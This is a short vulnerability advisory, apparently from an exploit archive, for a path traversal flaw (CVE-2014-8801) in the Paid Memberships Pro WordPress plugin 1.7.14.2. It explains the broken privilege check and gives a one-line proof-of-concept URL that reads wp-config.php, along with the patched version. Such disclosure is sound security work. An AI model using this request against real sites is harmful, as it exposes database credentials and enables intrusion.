WordPress Plugin Paid Memberships Pro 1.7.14.2 - Directory Traversal

# Exploit Title: Paid Memberships Pro 1.7.14.2 Path Traversal
# Date: 14-10-2014
# Exploit Author: Kacper Szurek - http://security.szurek.pl
# Software Link: https://downloads.wordpress.org/plugin/paid-memberships-pro.1.7.14.2.zip
# Category: webapps
# CVE: CVE-2014-8801
 
1. Description
 
getfile.php is accessible to everyone.
is_admin() is used to check priveleges but because this code is run in context of wp-admin/admin-ajax.php this function always evalute to true.
$_SERVER['REQUEST_URI'] is not escaped.
 
http://security.szurek.pl/paid-memberships-pro-17142-path-traversal.html
 
2. Proof of Concept
 
http://wordpress-url/wp-admin/admin-ajax.php?action=getfile&/../../wp-config.php
 
3. Solution:
 
Update to version 1.7.15
http://downloads.wordpress.org/plugin/paid-memberships-pro.1.7.15.zip
http://www.paidmembershipspro.com/2014/11/critical-security-update-pmpro-v1-7-15/